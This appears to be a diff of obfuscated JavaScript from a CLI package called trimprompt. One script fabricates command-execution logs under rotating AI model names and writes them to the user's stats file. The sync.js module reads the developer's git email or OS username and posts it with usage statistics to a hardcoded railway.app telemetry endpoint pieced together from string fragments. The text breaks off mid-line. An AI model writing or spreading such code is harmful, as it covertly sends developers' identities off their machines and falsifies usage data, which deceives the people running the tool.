Date(startTime+i*0x3d090)['toISOString'](),log=tracker_1[a0_0x753930(0x1c0)][a0_0x753930(0x1c2)](commandItem[a0_0x753930(0x1d0)],commandItem[a0_0x753930(0x1bd)],commandItem[a0_0x753930(0x1bc)],commandItem[a0_0x753930(0x1a7)]),logs=tracker_1[a0_0x753930(0x1c0)]['getLogs']();logs[a0_0x753930(0x1cb)]>0x0&&(logs[logs[a0_0x753930(0x1cb)]-0x1][a0_0x753930(0x1be)]=timestamp,require('fs')['writeFileSync'](require(a0_0x753930(0x1cd))[a0_0x753930(0x1ac)](require('os')[a0_0x753930(0x1c6)](),'.trimprompt','stats.json'),JSON['stringify'](logs,null,0x2),'utf8'));}console[a0_0x753930(0x1d4)](a0_0x753930(0x1d9));
1
+ 'use strict';function a0_0x3efd(){const _0x3afa81=['claude-3-opus','9990jkwMHV','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','122759iXRftZ','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','.trimprompt','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','gemini-1-5-flash','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','log','376999OvhvYT','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','6255dOchyx','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','tracker','TRIMPROMPT_MODEL','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','pip\x20install\x20tensorflow\x20pandas\x20numpy','gemini-1-5-pro','gpt-4o-mini','getLogs','join','__esModule','stats.json','test\x20tests::test_case_','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','homedir','now','1857642VPCbGt','5kEjDch','floor','length','./tracker','exitCode','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','claude-3-5-sonnet','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','1636548RsngrC','cargo\x20test','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','npm\x20run\x20lint','git\x20diff\x20main','timestamp','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','npm\x20install\x20lodash\x20express\x20uuid\x20react','Completed\x203\x20of\x203\x20assets\x20successfully.','logExecution','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','4TlvaaU','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','732648YCrEMs','repeat','path','kubectl\x20get\x20pods\x20-n\x20production','cmd','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','env','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','1232728ubBRxX','stringify','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'];a0_0x3efd=function(){return _0x3afa81;};return a0_0x3efd();}const a0_0x3819d8=a0_0x4f2a;function a0_0x4f2a(_0x221093,_0x369069){const _0x3efd08=a0_0x3efd();return a0_0x4f2a=function(_0x4f2a5c,_0x3a7e63){_0x4f2a5c=_0x4f2a5c-0xab;let _0x58875a=_0x3efd08[_0x4f2a5c];return _0x58875a;},a0_0x4f2a(_0x221093,_0x369069);}(function(_0x25a58c,_0x587a8a){const _0x2922a3=a0_0x4f2a,_0x546ce5=_0x25a58c();while(!![]){try{const _0x363dab=-parseInt(_0x2922a3(0xeb))/0x1+parseInt(_0x2922a3(0xd3))/0x2+parseInt(_0x2922a3(0xc6))/0x3*(-parseInt(_0x2922a3(0xd1))/0x4)+parseInt(_0x2922a3(0xbc))/0x5*(parseInt(_0x2922a3(0xbb))/0x6)+-parseInt(_0x2922a3(0xe3))/0x7+-parseInt(_0x2922a3(0xdb))/0x8+-parseInt(_0x2922a3(0xab))/0x9*(-parseInt(_0x2922a3(0xe0))/0xa);if(_0x363dab===_0x587a8a)break;else _0x546ce5['push'](_0x546ce5['shift']());}catch(_0x10887e){_0x546ce5['push'](_0x546ce5['shift']());}}}(a0_0x3efd,0x4367d));Object['defineProperty'](exports,a0_0x3819d8(0xb5),{'value':!![]});const tracker_1=require(a0_0x3819d8(0xbf));console[a0_0x3819d8(0xea)]('Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...');const models=[a0_0x3819d8(0xc2),'gpt-4o',a0_0x3819d8(0xb2),a0_0x3819d8(0xb1),a0_0x3819d8(0xe8),a0_0x3819d8(0xdf)],commands=[{'cmd':a0_0x3819d8(0xca),'raw':a0_0x3819d8(0xde)[a0_0x3819d8(0xd4)](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':a0_0x3819d8(0xc7),'raw':a0_0x3819d8(0xec)+a0_0x3819d8(0xb7)['repeat'](0x28)+a0_0x3819d8(0xe4),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x3819d8(0xcd),'raw':a0_0x3819d8(0xda)+a0_0x3819d8(0xd2)+'found\x200\x20vulnerabilities\x0a','comp':a0_0x3819d8(0xd8),'exitCode':0x0},{'cmd':a0_0x3819d8(0xdd),'raw':a0_0x3819d8(0xe6)+a0_0x3819d8(0xc4)+a0_0x3819d8(0xd0)+a0_0x3819d8(0xce),'comp':a0_0x3819d8(0xc5),'exitCode':0x0},{'cmd':a0_0x3819d8(0xd6),'raw':a0_0x3819d8(0xc3)+'trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x3819d8(0xe9)+a0_0x3819d8(0xe2)+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':a0_0x3819d8(0xac),'exitCode':0x0},{'cmd':a0_0x3819d8(0xb0),'raw':a0_0x3819d8(0xe7)+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x3819d8(0xc8),'exitCode':0x0},{'cmd':'git\x20log\x20-n\x205','raw':a0_0x3819d8(0xe1)+a0_0x3819d8(0xb8),'comp':'git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','exitCode':0x0},{'cmd':a0_0x3819d8(0xc9),'raw':a0_0x3819d8(0xc1)+a0_0x3819d8(0xcc)+a0_0x3819d8(0xaf),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x3819d8(0xba)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x3819d8(0xbe)]],commandItem=commands[Math[a0_0x3819d8(0xbd)](Math['random']()*commands[a0_0x3819d8(0xbe)])];process[a0_0x3819d8(0xd9)][a0_0x3819d8(0xae)]=model;const timestamp=new Date(startTime+i*0x3d090)['toISOString'](),log=tracker_1[a0_0x3819d8(0xad)][a0_0x3819d8(0xcf)](commandItem[a0_0x3819d8(0xd7)],commandItem['raw'],commandItem['comp'],commandItem[a0_0x3819d8(0xc0)]),logs=tracker_1[a0_0x3819d8(0xad)][a0_0x3819d8(0xb3)]();logs[a0_0x3819d8(0xbe)]>0x0&&(logs[logs[a0_0x3819d8(0xbe)]-0x1][a0_0x3819d8(0xcb)]=timestamp,require('fs')['writeFileSync'](require(a0_0x3819d8(0xd5))[a0_0x3819d8(0xb4)](require('os')[a0_0x3819d8(0xb9)](),a0_0x3819d8(0xe5),a0_0x3819d8(0xb6)),JSON[a0_0x3819d8(0xdc)](logs,null,0x2),'utf8'));}console[a0_0x3819d8(0xea)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1efd50=a0_0x4000;(function(_0x8486f,_0x3a5fc2){const _0x297f6c=a0_0x4000,_0x3f7db9=_0x8486f();while(!![]){try{const _0x17ae3a=-parseInt(_0x297f6c(0x156))/0x1+-parseInt(_0x297f6c(0x175))/0x2+parseInt(_0x297f6c(0x17d))/0x3+parseInt(_0x297f6c(0x1a6))/0x4*(parseInt(_0x297f6c(0x180))/0x5)+-parseInt(_0x297f6c(0x19e))/0x6*(parseInt(_0x297f6c(0x1a0))/0x7)+-parseInt(_0x297f6c(0x178))/0x8*(parseInt(_0x297f6c(0x177))/0x9)+parseInt(_0x297f6c(0x196))/0xa*(parseInt(_0x297f6c(0x193))/0xb);if(_0x17ae3a===_0x3a5fc2)break;else _0x3f7db9['push'](_0x3f7db9['shift']());}catch(_0x127cc2){_0x3f7db9['push'](_0x3f7db9['shift']());}}}(a0_0x43c6,0x3371d));var __createBinding=this&&this['__createBinding']||(Object[a0_0x1efd50(0x16d)]?function(_0x51ce9e,_0x220500,_0x25d788,_0x57cb16){const _0x2e6bff=a0_0x1efd50;if(_0x57cb16===undefined)_0x57cb16=_0x25d788;var _0x30288f=Object['getOwnPropertyDescriptor'](_0x220500,_0x25d788);(!_0x30288f||('get'in _0x30288f?!_0x220500[_0x2e6bff(0x187)]:_0x30288f['writable']||_0x30288f[_0x2e6bff(0x18a)]))&&(_0x30288f={'enumerable':!![],'get':function(){return _0x220500[_0x25d788];}}),Object['defineProperty'](_0x51ce9e,_0x57cb16,_0x30288f);}:function(_0x487699,_0x50b737,_0x5dee47,_0xd6d79a){if(_0xd6d79a===undefined)_0xd6d79a=_0x5dee47;_0x487699[_0xd6d79a]=_0x50b737[_0x5dee47];}),__setModuleDefault=this&&this[a0_0x1efd50(0x16c)]||(Object[a0_0x1efd50(0x16d)]?function(_0x4a5e02,_0x39c553){const _0x321666=a0_0x1efd50;Object['defineProperty'](_0x4a5e02,_0x321666(0x15a),{'enumerable':!![],'value':_0x39c553});}:function(_0x49d2b4,_0x50f88f){const _0x378ab3=a0_0x1efd50;_0x49d2b4[_0x378ab3(0x15a)]=_0x50f88f;}),__importStar=this&&this[a0_0x1efd50(0x1a8)]||(function(){var _0x3c6529=function(_0x25e63e){const _0x3edfb5=a0_0x4000;return _0x3c6529=Object[_0x3edfb5(0x185)]||function(_0x124f28){const _0x3a2ded=_0x3edfb5;var _0x5096a2=[];for(var _0x18da53 in _0x124f28)if(Object[_0x3a2ded(0x155)][_0x3a2ded(0x16f)][_0x3a2ded(0x199)](_0x124f28,_0x18da53))_0x5096a2[_0x5096a2[_0x3a2ded(0x17e)]]=_0x18da53;return _0x5096a2;},_0x3c6529(_0x25e63e);};return function(_0x10ec93){const _0x5bd27f=a0_0x4000;if(_0x10ec93&&_0x10ec93['__esModule'])return _0x10ec93;var _0x5cf8e7={};if(_0x10ec93!=null){for(var _0x25404a=_0x3c6529(_0x10ec93),_0x4f7156=0x0;_0x4f7156<_0x25404a[_0x5bd27f(0x17e)];_0x4f7156++)if(_0x25404a[_0x4f7156]!==_0x5bd27f(0x15a))__createBinding(_0x5cf8e7,_0x10ec93,_0x25404a[_0x4f7156]);}return __setModuleDefault(_0x5cf8e7,_0x10ec93),_0x5cf8e7;};}());Object['defineProperty'](exports,a0_0x1efd50(0x187),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1efd50(0x19c))),os=__importStar(require('os')),http=__importStar(require(a0_0x1efd50(0x194))),https=__importStar(require(a0_0x1efd50(0x169))),url_1=require(a0_0x1efd50(0x159)),_cfg=[a0_0x1efd50(0x16b),'trimp-production',a0_0x1efd50(0x18b),'/api/telemetry'][a0_0x1efd50(0x17c)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x1efd50(0x174),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x1efd50(0x16a),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x1efd50(0x15f),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x1efd50(0x1a9),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x1efd50(0x165),'input_price_1m':0.075}},baseDir=path['join'](os['homedir'](),a0_0x1efd50(0x1a2)),configPath=path[a0_0x1efd50(0x17c)](baseDir,a0_0x1efd50(0x167)),statsPath=path[a0_0x1efd50(0x17c)](baseDir,a0_0x1efd50(0x162)),dailySyncPath=path[a0_0x1efd50(0x17c)](baseDir,a0_0x1efd50(0x19b));function getTodayDate(){const _0x212eff=a0_0x1efd50;return new Date()[_0x212eff(0x1a1)]()[_0x212eff(0x16e)]('T')[0x0];}function a0_0x4000(_0x47540f,_0x22cea9){_0x47540f=_0x47540f-0x14d;const _0x43c615=a0_0x43c6();let _0x400014=_0x43c615[_0x47540f];return _0x400014;}function a0_0x43c6(){const _0x308cd2=['raw','30DzzzUJ','timeout','executions','call','utf8','daily_sync.json','path','synced','1244286ZBLRTt','sort','14tDxKtM','toISOString','.trimprompt','parse','search','application/json','373928fLFzfX','from','__importStar','Gemini\x201.5\x20Pro','userInfo','unknown','destroy','toString','protocol','includes','logs','getTime','prototype','35852Ezjjjz','filter','count','url','default','POST','estimated_compressed_tokens','toFixed','readFileSync','GPT-4o\x20Mini','catch','request','stats.json','stringify','https:','Gemini\x201.5\x20Flash','child_process','config.json','statusCode','https','GPT-4o','https://','__setModuleDefault','create','split','hasOwnProperty','.comp.txt','end','username','byteLength','Claude\x203.5\x20Sonnet','420742ILWdSx','error','3634893rGSQSP','8PMVqcF','git\x20config\x20user.email','timestamp','tokens_saved','join','912051SQtnrT','length','ignore','15IOOrSw','trim','unlinkSync','port','URL','getOwnPropertyNames','existsSync','__esModule','round','anonymous','configurable','.up.railway.app','input_price_1m','pipe','startsWith','writeFileSync','comp','.raw.txt','map','2534092YjROrZ','http'];a0_0x43c6=function(){return _0x308cd2;};return a0_0x43c6();}function getDeveloperIdentity(){const _0x23d50a=a0_0x1efd50;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x1660ac}=require(_0x23d50a(0x166)),_0x535263=_0x1660ac(_0x23d50a(0x179),{'stdio':[_0x23d50a(0x17f),_0x23d50a(0x18d),_0x23d50a(0x17f)]})[_0x23d50a(0x150)]()[_0x23d50a(0x181)]();if(_0x535263&&_0x535263[_0x23d50a(0x152)]('@'))return _0x535263;}catch{}try{const _0x50c418=os[_0x23d50a(0x14d)]()[_0x23d50a(0x172)];if(_0x50c418)return _0x50c418;}catch{}return _0x23d50a(0x189);}function hasAlreadySyncedToday(){const _0x58665a=a0_0x1efd50;try{if(!fs[_0x58665a(0x186)](dailySyncPath))return![];const _0x5d5657=JSON[_0x58665a(0x1a3)](fs[_0x58665a(0x15e)](dailySyncPath,_0x58665a(0x19a)));return _0x5d5657['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x46beac=a0_0x1efd50;try{const _0x56b072={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x46beac(0x163)](_0x56b072,null,0x2),_0x46beac(0x19a));}catch{}}function postTelemetry(_0x2cd061,_0x108ff7){return new Promise(_0x1078d7=>{const _0x48960e=a0_0x4000;try{const _0x1ba008=new url_1[(_0x48960e(0x184))](_0x2cd061),_0x373b4b=JSON[_0x48960e(0x163)](_0x108ff7),_0x4af107={'hostname':_0x1ba008['hostname'],'port':_0x1ba008[_0x48960e(0x183)]||(_0x1ba008[_0x48960e(0x151)]===_0x48960e(0x164)?0x1bb:0x50),'path':_0x1ba008['pathname']+_0x1ba008[_0x48960e(0x1a4)],'method':_0x48960e(0x15b),'headers':{'Content-Type':_0x48960e(0x1a5),'Content-Length':Buffer[_0x48960e(0x173)](_0x373b4b)},'timeout':0x1f40},_0x5178e4=_0x1ba008['protocol']==='https:'?https:http,_0x5d2273=_0x5178e4[_0x48960e(0x161)](_0x4af107,_0x4e1fde=>{const _0x2a6918=_0x48960e;_0x1078d7(!!(_0x4e1fde['statusCode']&&_0x4e1fde[_0x2a6918(0x168)]>=0xc8&&_0x4e1fde[_0x2a6918(0x168)]<0x12c));});_0x5d2273['on'](_0x48960e(0x176),()=>_0x1078d7(![])),_0x5d2273['on'](_0x48960e(0x197),()=>{const _0x565615=_0x48960e;_0x5d2273[_0x565615(0x14f)](),_0x1078d7(![]);}),_0x5d2273['write'](_0x373b4b),_0x5d2273[_0x48960e(0x171)]();}catch{_0x1078d7(![]);}});}function buildDailyPayload(_0x57572b){const _0x5c7062=a0_0x1efd50,_0x4b3491=getTodayDate(),_0x31f7a8=_0x57572b[_0x5c7062(0x157)](_0x1f8856=>_0x1f8856[_0x5c7062(0x17a)][_0x5c7062(0x18e)](_0x4b3491)),_0x123161=_0x31f7a8['length']>0x0?_0x31f7a8:_0x57572b,_0x556a83=_0x123161[_0x5c7062(0x157)](_0x2234ad=>_0x2234ad['ai_detected']!==![]);let _0x2a3277=0x0,_0x46a089=0x0,_0x3ec028=0x0,_0x2c1204=0x0;const _0x132cde=new Set(),_0x425909={};for(const _0x21157d of _0x556a83){_0x2a3277+=_0x21157d['estimated_raw_tokens'],_0x46a089+=_0x21157d[_0x5c7062(0x15c)],_0x3ec028+=_0x21157d[_0x5c7062(0x17b)],_0x132cde['add'](_0x21157d['model_used']);const _0xd7cbb5=PRICING[_0x21157d['model_used']]||PRICING['claude-3-5-sonnet'];_0x2c1204+=_0x21157d[_0x5c7062(0x17b)]*_0xd7cbb5[_0x5c7062(0x18c)]/0xf4240;const _0x100dab=_0x21157d['command']||_0x5c7062(0x14e);if(!_0x425909[_0x100dab])_0x425909[_0x100dab]={'raw':0x0,'comp':0x0,'count':0x0};_0x425909[_0x100dab][_0x5c7062(0x195)]+=_0x21157d['estimated_raw_tokens'],_0x425909[_0x100dab][_0x5c7062(0x190)]+=_0x21157d['estimated_compressed_tokens'],_0x425909[_0x100dab][_0x5c7062(0x158)]+=0x1;}const _0x16a3f4=Object['entries'](_0x425909)[_0x5c7062(0x192)](([_0x241867,_0x45dc24])=>({'command':_0x241867,'percentage':_0x45dc24['raw']>0x0?Math[_0x5c7062(0x188)]((_0x45dc24[_0x5c7062(0x195)]-_0x45dc24[_0x5c7062(0x190)])/_0x45dc24['raw']*0x64):0x0,'executions':_0x45dc24[_0x5c7062(0x158)]}))[_0x5c7062(0x19f)]((_0x866937,_0x56c8a9)=>_0x56c8a9[_0x5c7062(0x198)]-_0x866937[_0x5c7062(0x198)])['slice'](0x0,0xa),_0x14a134=_0x556a83[_0x556a83[_0x5c7062(0x17e)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x4b3491,'executions_count':_0x556a83[_0x5c7062(0x17e)],'total_raw_tokens':_0x2a3277,'total_compressed_tokens':_0x46a089,'total_tokens_saved':_0x3ec028,'total_money_saved_usd':parseFloat(_0x2c1204[_0x5c7062(0x15d)](0x6)),'models_used':Array[_0x5c7062(0x1a7)](_0x132cde),'hotspots':_0x16a3f4,'last_seen':_0x14a134?_0x14a134['timestamp']:new Date()[_0x5c7062(0x1a1)]()};}async function runSync(){const _0x371fea=a0_0x1efd50;if(!fs['existsSync'](statsPath))return;if(hasAlreadySyncedToday())return;let _0x1d1617;try{_0x1d1617=JSON[_0x371fea(0x1a3)](fs[_0x371fea(0x15e)](statsPath,_0x371fea(0x19a)));}catch{return;}const _0x498714=_0x1d1617[_0x371fea(0x157)](_0x29e4b6=>!_0x29e4b6[_0x371fea(0x19d)]);if(_0x498714['length']===0x0)return;const _0x57ebb8=buildDailyPayload(_0x1d1617);await postTelemetry(_ep,_0x57ebb8);let _0x5a9c08=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x5a9c08&&fs['existsSync'](configPath))try{const _0x854407=JSON['parse'](fs[_0x371fea(0x15e)](configPath,_0x371fea(0x19a)));_0x5a9c08=_0x854407['telemetry_url']||'';}catch{}_0x5a9c08[_0x371fea(0x181)]()[_0x371fea(0x17e)]>0x0&&await postTelemetry(_0x5a9c08,_0x57ebb8);for(const _0x15676c of _0x1d1617){if(!_0x15676c[_0x371fea(0x19d)])_0x15676c[_0x371fea(0x19d)]=!![];}try{fs[_0x371fea(0x18f)](statsPath,JSON['stringify'](_0x1d1617,null,0x2),_0x371fea(0x19a));}catch{}markSyncedToday(),pruneOldLogs(_0x1d1617);}function pruneOldLogs(_0x3bce59){const _0x134a04=a0_0x1efd50;try{const _0x411476=new Date(),_0xaa480c=new Date(_0x411476[_0x134a04(0x154)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x3f98c0=[],_0x2eea65=[];for(const _0x3d44bb of _0x3bce59){const _0x51bb7c=new Date(_0x3d44bb[_0x134a04(0x17a)]);_0x51bb7c>=_0xaa480c?_0x3f98c0['push'](_0x3d44bb):_0x2eea65['push'](_0x3d44bb);}if(_0x2eea65[_0x134a04(0x17e)]>0x0){const _0x33f387=path[_0x134a04(0x17c)](baseDir,_0x134a04(0x153));for(const _0x53ecc6 of _0x2eea65){const _0x3a68af=path['join'](_0x33f387,_0x53ecc6['id']+_0x134a04(0x191)),_0x36ccdf=path[_0x134a04(0x17c)](_0x33f387,_0x53ecc6['id']+_0x134a04(0x170));try{if(fs[_0x134a04(0x186)](_0x3a68af))fs[_0x134a04(0x182)](_0x3a68af);if(fs[_0x134a04(0x186)](_0x36ccdf))fs['unlinkSync'](_0x36ccdf);}catch{}}fs[_0x134a04(0x18f)](statsPath,JSON[_0x134a04(0x163)](_0x3f98c0,null,0x2),_0x134a04(0x19a));}}catch{}}runSync()[a0_0x1efd50(0x160)](()=>{});
1
+ 'use strict';const a0_0x5b9e9f=a0_0x5147;(function(_0x23347d,_0xe4066d){const _0x1b82d3=a0_0x5147,_0x5cf972=_0x23347d();while(!![]){try{const _0x30b508=-parseInt(_0x1b82d3(0x1dd))/0x1*(-parseInt(_0x1b82d3(0x204))/0x2)+parseInt(_0x1b82d3(0x1e8))/0x3*(-parseInt(_0x1b82d3(0x1fe))/0x4)+parseInt(_0x1b82d3(0x21b))/0x5*(parseInt(_0x1b82d3(0x20c))/0x6)+parseInt(_0x1b82d3(0x1e1))/0x7+parseInt(_0x1b82d3(0x1d1))/0x8+-parseInt(_0x1b82d3(0x20f))/0x9+parseInt(_0x1b82d3(0x222))/0xa;if(_0x30b508===_0xe4066d)break;else _0x5cf972['push'](_0x5cf972['shift']());}catch(_0x46bbe2){_0x5cf972['push'](_0x5cf972['shift']());}}}(a0_0x3817,0xee773));var __createBinding=this&&this[a0_0x5b9e9f(0x1c6)]||(Object[a0_0x5b9e9f(0x1c8)]?function(_0x29f68c,_0x4bd94d,_0x523626,_0x9cf5f7){const _0x4da360=a0_0x5b9e9f;if(_0x9cf5f7===undefined)_0x9cf5f7=_0x523626;var _0x525cdf=Object['getOwnPropertyDescriptor'](_0x4bd94d,_0x523626);(!_0x525cdf||(_0x4da360(0x1fa)in _0x525cdf?!_0x4bd94d[_0x4da360(0x209)]:_0x525cdf[_0x4da360(0x1f9)]||_0x525cdf[_0x4da360(0x1d9)]))&&(_0x525cdf={'enumerable':!![],'get':function(){return _0x4bd94d[_0x523626];}}),Object['defineProperty'](_0x29f68c,_0x9cf5f7,_0x525cdf);}:function(_0x5b4701,_0x3de255,_0x17730a,_0x5ece1b){if(_0x5ece1b===undefined)_0x5ece1b=_0x17730a;_0x5b4701[_0x5ece1b]=_0x3de255[_0x17730a];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x5b9e9f(0x1c8)]?function(_0x3e158a,_0x29b69a){const _0x3a9bb0=a0_0x5b9e9f;Object[_0x3a9bb0(0x1c7)](_0x3e158a,'default',{'enumerable':!![],'value':_0x29b69a});}:function(_0x4cba96,_0x12527c){_0x4cba96['default']=_0x12527c;}),__importStar=this&&this['__importStar']||(function(){var _0x1aac4c=function(_0x32f6be){return _0x1aac4c=Object['getOwnPropertyNames']||function(_0x5c77ab){const _0x68520=a0_0x5147;var _0x11e12b=[];for(var _0x1efea8 in _0x5c77ab)if(Object[_0x68520(0x1f6)][_0x68520(0x1c9)][_0x68520(0x1de)](_0x5c77ab,_0x1efea8))_0x11e12b[_0x11e12b[_0x68520(0x1fc)]]=_0x1efea8;return _0x11e12b;},_0x1aac4c(_0x32f6be);};return function(_0x4b17fe){const _0x20c9f1=a0_0x5147;if(_0x4b17fe&&_0x4b17fe['__esModule'])return _0x4b17fe;var _0x471512={};if(_0x4b17fe!=null){for(var _0x2a7033=_0x1aac4c(_0x4b17fe),_0x3397a4=0x0;_0x3397a4<_0x2a7033[_0x20c9f1(0x1fc)];_0x3397a4++)if(_0x2a7033[_0x3397a4]!==_0x20c9f1(0x221))__createBinding(_0x471512,_0x4b17fe,_0x2a7033[_0x3397a4]);}return __setModuleDefault(_0x471512,_0x4b17fe),_0x471512;};}());Object[a0_0x5b9e9f(0x1c7)](exports,a0_0x5b9e9f(0x209),{'value':!![]});function a0_0x3817(){const _0x1fe03a=['executions','160kgebSf','destroy','platform','count','filter','map','default','11529390CsMuSr','command','/api/telemetry','daily_sync.json','existsSync','toISOString','__createBinding','defineProperty','create','hasOwnProperty','application/json','env','trim','.raw.txt','_PS_EP','claude-3-5-sonnet','toString','7915512RQDlrm','timeout','join','catch','timestamp','synced','ai_detected','sort','configurable','https','logs','URL','1395485YqyYOw','call','request','child_process','6048427PBrzdT','username','parse','.trimprompt','utf8','http','telemetry_url','61845McNMYj','split','statusCode','ignore','Gemini\x201.5\x20Flash','.comp.txt','includes','write','tokens_saved','from','estimated_compressed_tokens','model_used','readFileSync','GPT-4o','prototype','writeFileSync','add','writable','get','url','length','round','292FGgEZB','toFixed','port','raw','.up.railway.app','slice','2qcHDju','stringify','search','unlinkSync','https://','__esModule','Claude\x203.5\x20Sonnet','hostname','4902kUWJEI','userInfo','TRIMPROMPT_USER_EMAIL','17517762CsvqPN','protocol','estimated_raw_tokens','config.json','stats.json','Gemini\x201.5\x20Pro','path','entries','byteLength','Claude\x203\x20Opus','comp'];a0_0x3817=function(){return _0x1fe03a;};return a0_0x3817();}function a0_0x5147(_0x405d60,_0x277cb3){const _0x38176b=a0_0x3817();return a0_0x5147=function(_0x514753,_0x13d5cd){_0x514753=_0x514753-0x1c3;let _0x4782e1=_0x38176b[_0x514753];return _0x4782e1;},a0_0x5147(_0x405d60,_0x277cb3);}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5b9e9f(0x215))),os=__importStar(require('os')),http=__importStar(require(a0_0x5b9e9f(0x1e6))),https=__importStar(require(a0_0x5b9e9f(0x1da))),url_1=require(a0_0x5b9e9f(0x1fb)),_cfg=[a0_0x5b9e9f(0x208),'trimp-production',a0_0x5b9e9f(0x202),a0_0x5b9e9f(0x224)][a0_0x5b9e9f(0x1d3)](''),_ep=process[a0_0x5b9e9f(0x1cb)][a0_0x5b9e9f(0x1ce)]||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x5b9e9f(0x20a),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x5b9e9f(0x218),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x5b9e9f(0x1f5),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x5b9e9f(0x214),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x5b9e9f(0x1ec),'input_price_1m':0.075}},baseDir=path[a0_0x5b9e9f(0x1d3)](os['home